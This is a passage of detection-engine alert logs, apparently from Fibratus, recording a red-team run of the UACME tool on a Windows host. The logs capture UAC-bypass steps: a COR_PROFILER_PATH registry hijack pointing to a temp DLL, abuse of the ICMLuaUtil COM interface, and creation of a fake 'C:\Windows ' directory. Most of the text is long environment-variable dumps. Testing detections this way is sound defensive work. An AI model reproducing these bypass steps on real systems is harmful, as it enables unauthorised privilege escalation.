Description: + Host: archrabbit + Timestamp: 2025-12-04 17:05:46.5935371 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffd605a1076240, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 2820 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 5296284 + Pid: 5216 + Tid: 17728 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:05:47.3754285 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 28beb0000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0de4f20080, name➜ cmd.exe, pid➜ 1188, ppid➜ 5216, real_ppid➜ 5216, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:05:47.3753612 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, rule.seq.link: 14695981039346656037 + + Pid: 5216 + Ppid: 2820 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:06:12+01:00 level=info msg=sending alert: [UAC bypass via ICMLuaUtil COM interface]. Text: Event(s): + Seq: 5351701 + Pid: 7400 + Tid: 10452 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:06:10.3311218 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe" , directory_table_base➜ 356a80000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0df269e080, name➜ cmd.exe, pid➜ 2732, ppid➜ 7400, real_ppid➜ 7400, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:06:10.3310686 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 9195787737171492864, rule.name: UAC bypass via ICMLuaUtil COM interface, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 7400 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:06:37+01:00 level=info msg=sending alert: [UAC bypass via ICMLuaUtil COM interface]. Text: Event(s): + Seq: 5481137 + Pid: 6924 + Tid: 8836 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:06:35.9732944 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe" , directory_table_base➜ 2fec4a000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0dde715080, name➜ cmd.exe, pid➜ 7340, ppid➜ 6924, real_ppid➜ 6924, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:06:35.973236 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 10060478865626628096, rule.name: UAC bypass via ICMLuaUtil COM interface + + Pid: 6924 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:07:02+01:00 level=info msg=sending alert: [Fake system root directory creation]. Text: Event(s): + Seq: 5527714 + Pid: 3660 + Tid: 8448 + Type: CreateFile + CPU: 5 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:07:01.0620666 +0100 CET + Params: attributes➜ HIDDEN|SYSTEM, create_disposition➜ CREATE, create_options➜ DIRECTORY_FILE, file_object➜ ffffad0dd89c7a40, file_path➜ C:\Windows , irp➜ ffffad0def4790f8, share_mask➜ READ|WRITE, status➜ Success, tid➜ 8448, type➜ Directory + Metadata: rule.name: Fake system root directory creation, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 3660 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program 